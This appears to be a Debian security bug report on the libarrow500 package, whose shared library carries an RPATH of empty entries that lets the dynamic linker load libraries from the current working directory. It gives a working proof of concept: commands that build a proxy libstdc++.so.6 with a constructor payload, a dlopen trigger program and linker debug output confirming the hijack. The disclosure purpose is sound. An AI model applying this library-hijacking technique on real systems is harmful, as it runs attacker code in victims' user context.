Package: libarrow500
Version: 0~~12.4.1-8+b2
Severity: important
Tags: security
*Summary:*
The libarrow500 Debian package installs the shared library:
/usr/lib/aarch64-linux-gnu/libarrow.so.500
This library contains an RPATH consisting entirely of empty path elements:
RPATH [:::::::]
Empty entries in an ELF RPATH are interpreted by the dynamic linker as the
current working directory (CWD). As a result, when libarrow.so.500 resolves
its dependencies, the dynamic linker searches the process working directory
before falling back to the system library paths.
This permits library search path hijacking if an attacker can place a
malicious shared library in a directory from which a victim executes
software that loads libarrow.so.500.
*Impact:*
An attacker can cause execution of attacker-controlled code in the security
context of the user running the affected application.
Applications that directly or indirectly load libarrow.so.500 may resolve
dependencies from the current working directory due to the malformed RPATH.
If a victim executes such software from a directory containing
attacker-controlled shared libraries, the malicious library may be loaded
and executed before the legitimate system library.
This is a CWE-426 / CWE-427 class issue (Untrusted Search Path).
*Proof of Concept:*
*Verify the malformed RPATH:*
$ readelf -d /usr/lib/aarch64-linux-gnu/libarrow.so.500 | grep RPATH
Output:
0x000000000000000f (RPATH) Library rpath: [:::::::]
*Create an attacker-controlled replacement library:*
$ mkdir -p /tmp/malicious_workspace
$ cd /tmp/malicious_workspace
$ cat << EOF > poc_arrow.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void exploit() {
printf("\n[!!!] ARROW HIJACK SUCCESSFUL [!!!]\n");
exit(0);
}
EOF
*Build a proxy libstdc++.so.6 using DT_AUXILIARY so normal symbol
resolution continues to the legitimate system library:*
$ gcc -shared -fPIC poc_arrow.c \
-o libstdc++.so.6 \
-Wl,-f,/lib/aarch64-linux-gnu/libstdc++.so.6
*Create a program that loads the system Arrow library:*
$ cat << 'EOF' > trigger.c
#include <stdio.h>
#include <dlfcn.h>
int main() {
void *handle = dlopen(
"/usr/lib/aarch64-linux-gnu/libarrow.so.500",
RTLD_NOW
);
if (!handle)
printf("%s\n", dlerror());
return 0;
}
EOF
$ gcc trigger.c -o trigger
*Execute from the attacker-controlled directory:*
$ ./trigger
*Result:*
[!!!] ARROW HIJACK SUCCESSFUL [!!!]
*Additional Verification:*
Dynamic linker debugging confirms that dependency resolution is performed
through the RPATH embedded in libarrow.so.500 and that the linker first
attempts to load a bare filename from the current working directory:
$ LD_DEBUG=libs ./trigger
...
find library=libstdc++.so.6 [0]; searching
search path= (RPATH from file
/usr/lib/aarch64-linux-gnu/libarrow.so.500)
trying file=libstdc++.so.6
...
The malicious libstdc++.so.6 is subsequently loaded and its constructor
executes.
*Expected Fix:*
The package should not ship shared libraries containing empty RPATH
elements. The RPATH should be removed entirely or replaced with an
explicit, trusted search path.